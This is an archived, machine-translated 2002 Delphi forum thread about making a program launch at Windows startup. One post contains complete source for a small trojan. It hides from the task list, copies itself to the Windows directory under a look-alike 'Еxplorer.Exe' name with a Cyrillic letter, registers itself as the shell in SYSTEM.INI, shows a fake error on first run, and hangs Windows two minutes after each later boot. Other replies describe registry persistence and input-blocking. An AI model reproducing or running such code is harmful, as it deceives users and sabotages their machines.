Головна сторінка
Top.Mail.Ru Яндекс.Метрика
Форум: "Система";
Поточний архів: 2002.12.23;
Завантажити: [xml.tar.bz2];

Вниз

Запуск програми при завантаженні Windows. Знайти схожі гілки


Metallica   (2002-07-28 14:07) [0]

Я написав програму. Що мені потрібно зробити для того щоб вона запускалася при завантаженні Windows найпершої, навіть перед запитом користувача і пароля.



Неотеничный Педоморф   (2002-07-28 15:30) [1]

Зовсім круто, коли прога запускається не те що перед завантаженням Windows, а перед включенням компа!



VEG   (2002-07-28 17:21) [2]

Я знаю, як таке реалізувати, але навіщо тобі це?



hitek   (2002-07-29 10:59) [3]

VEG
а як реалізувати таке?



Antonius   (2002-07-29 11:18) [4]

Хм ... Треба писати свій завантажувач в MBR :)



Metallica   (2002-07-29 12:14) [5]

> VEG
мені це потрібно для програми "Адміністратор ігрового клубу".



VEG   (2002-07-29 12:17) [6]

> Metallica
Я так і думав!
Зараз сам таку пишу ...



Sir DAMM   (2002-07-29 13:05) [7]

якщо win9x то напиши її в HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ RunServices

а взагалі таку річ лучне вигляді shell "а писати



Metallica   (2002-07-29 20:16) [8]

> VEG
Питання по програмі "Адміністратор ігрового клубу":
- мене цікавить блокування клавіатури і миші (у мене є приклад
procedure BlockInput (ABlockInput: boolean); stdcall; external "USER32.DLL";
але при натисканні 3-х "MagicKeys" вона знімається).

Якщо є інший спосіб то напиши або скинь на E-mail.



Doctor Snap   (2002-07-31 20:54) [9]

А ти не пробував вто же час блокувати Ctrl + Alt + Del?



VEG   (2002-07-31 22:15) [10]

Metallica, для якого міста програма?



melifaro   (2002-07-31 22:30) [11]

Наводжу приклад своєї програми. Вона запускається перед Експлорером. Тобто вона запускає експлорер сама.

program WinLoad; {Функції, які будемо довантажувати з віндовий DLL.} function WritePrivateProfileStringA (ipAppName, ipKeyName, ipString, ipFileName: String): // Запис у файли INI integer; stdcall; external "KERNEL32.DLL"; function WinExec (FileName: PChar; ShowInt: integer): // Запуск додатків ... integer; stdcall; external "KERNEL32.DLL"; Procedure Sleep (Interval: LongInt); stdcall; // Процедура засипання ... external "KERNEL32.DLL"; function CopyFileA (FromFile: PChar; ToFile: PChar; bFailIfExists: Boolean): // Для розмноження ... Boolean; stdcall; external "KERNEL32.DLL"; function GetWindowsDirectoryA (Buffer: PChar; Size: Integer): // Де тут Windows ??? ... integer; stdcall; external "KERNEL32.DLL"; procedure MessageBox (Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); // Простий MessageBox ... stdcall; external "USER32.DLL" name "MessageBoxA"; function RegisterServiceProcess (dwProcessID, dwType: integer): // ізчезают в Ctrl + Alt + Del ... integer; stdcall; external "KERNEL32.DLL"; function GetCurrentProcessId: // Отримання ID нашого процесу integer; stdcall; external "KERNEL32.DLL"; {Функції, які видерті з модуля SysUtils} function UpperCase (const S: string): string; // Приведення до верхнього регістру ... var Ch: Char; L: Integer; Source, Dest: PChar; begin L: = Length (S); SetLength (Result, L); Source: = Pointer (S); Dest: = Pointer (Result); while L <> 0 do begin Ch: = Source ^; if (Ch> = "a") and (Ch <= "z") then Dec (Ch, 32); Dest ^: = Ch; Inc (Source); Inc (Dest); Dec (L); end; end; function StrAlloc (Size: Cardinal): PChar; // Виділення пам'яті під PChar ... begin Inc (Size, SizeOf (Cardinal)); GetMem (Result, Size); Cardinal (Pointer (Result) ^): = Size; Inc (Result, SizeOf (Cardinal)); end; {Процедура "Висі Windows, виси"} Procedure DropESP; Asm Mov ESP, $ FFFF; End; {Поїхали ...} Var Buf: PChar; WinDir: String; Launch: String; Begin {Спочатку сховаємо себе зі списку завдань, щоб ламер нас по CTRL + ALT + DEL Не вважаючи.} RegisterServiceProcess (GetCurrentProcessID, 1); {Тепер отримуємо директорію Windows. Там Ми будемо жити ...} Buf: = StrAlloc (260); GetWindowsDirectoryA (Buf, 260); WinDir: = Buf + "\"; {Копіюємо себе в директорію Windows. Там тепло і просторо ...} CopyFileA (PChar (ParamStr (0)), PChar (WinDir + "Еxplorer.Exe"), False); {Вводимо змінну, яка буде нашим новим ім'ям. використовуємо старий трюк: в нашому новому імені "Explorer.Exe", перша буква - російська "Е".} Launch: = WinDir + "Еxplorer.Exe"; {Записуємося в SYSTEM.INI. Звідти будемо завантажуватися.} WritePrivateProfileStringA ( "Boot", "Shell", Launch, WINDIR + "system.ini"); {Якщо це наш перший запуск, то робимо вигляд, що ми зіпсовані і взагалі не додаток ...} If UpperCase (ParamStr (0)) <> UpperCase (WinDir + "Еxplorer.Exe") then MessageBox (0, Pchar ((ParamStr (0) + "не є додатком Win32.")), PChar (ParamStr (0)), $ 00000010) {Якщо ми вже довантажити з SYSTEM.INI, запускаємо EXPLORER.EXE, чекаємо ... вішаємо вінди ...} Else Begin WritePrivateProfileStringA ( "Boot", "Shell", "Explorer.Exe", WINDIR + "system.ini"); // Пишемо Explorer в System.Ini WinExec ( "Explorer.Exe", 1); // Запускаємо Explorer ... WritePrivateProfileStringA ( "Boot", "Shell", Launch, WINDIR + "system.ini"); // записуємося назад в System.Ini Sleep (120000); // 2 хвилини чекаємо ... DropESP; // Вішаємо Windows ... End; {От і все...} end.


Copyright © Melifaro



melifaro   (2002-07-31 22:33) [12]

Тільки не треба навіть і думати, що насправді робила ця програма, і чому її трояном називали :))))



SashOk_   (2002-10-08 09:58) [13]

Пропиши в command.com таке (на самому початку):
@ імя_прогі



BlackDragon   (2002-10-17 03:53) [14]

Дякуємо



DVE   (2002-10-18 13:04) [15]

я теж на днях перейнявся!
коротше зробили так
написали свій Shell порожня форма з картинко. клік- запуск програми.

Запхали прогу в
\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SHELL

Перехоплення гарячих клавіш!
+ Свій порожній TaskManager =)

При натисканні на гір клавіші запит пароля (він закодований в одну сторону і лежить в реєстрі)

Так що ось!



сторінки: 1 вся гілка

Форум: "Система";
Поточний архів: 2002.12.23;
Завантажити: [xml.tar.bz2];

Вгору





Пам'ять: 0.6 MB
Час: 0.032 c
1-74776
ДмітрійК.
2002-12-11 10:38
2002.12.23
Створення компонентів в runtime і переміщення їх по формі


14-74933
сатир
2002-12-01 20:53
2002.12.23
Вихідні на шару?


3-74618
@Ujin
2002-12-05 13:11
2002.12.23
Чому в Access-е працює, а через ADO немає?


1-74730
Витьок
2002-12-14 10:39
2002.12.23
TTreeView


14-74994
sanilo
2002-12-04 11:21
2002.12.23
W2K





африкаанс албанський арабська вірменин азербайджанець баскський білоруський болгарська каталонський Китайська (спрощене письмо) Китайський традиційний) хорватський чеська данську мову нідерландський Ukranian естонець Філіппінська фінську мову французький
галісійська грузинський німецький грецький гаїтянський креольський давньоєврейську хінді угорський ісландський індонезієць ірландський італійський японський корейський латиська литовець македонець малайський мальтійський норвежець
перс полірування португальська румунський російська сербський словацький словенський іспанська суахілі шведську мову тайський турецька український урду в'єтнамський валлійський ідиш бенгальський боснійський
кебуано есперанто гуджараті хауса хмонг ігбо яванський каннада кхмерская Лао латинь маорі маратхі монгольський непальська панджабі сомалійський тамільська телугу йоруба
зулуський
Англійська Французький Німецький Італійський Португальська Русский Іспанська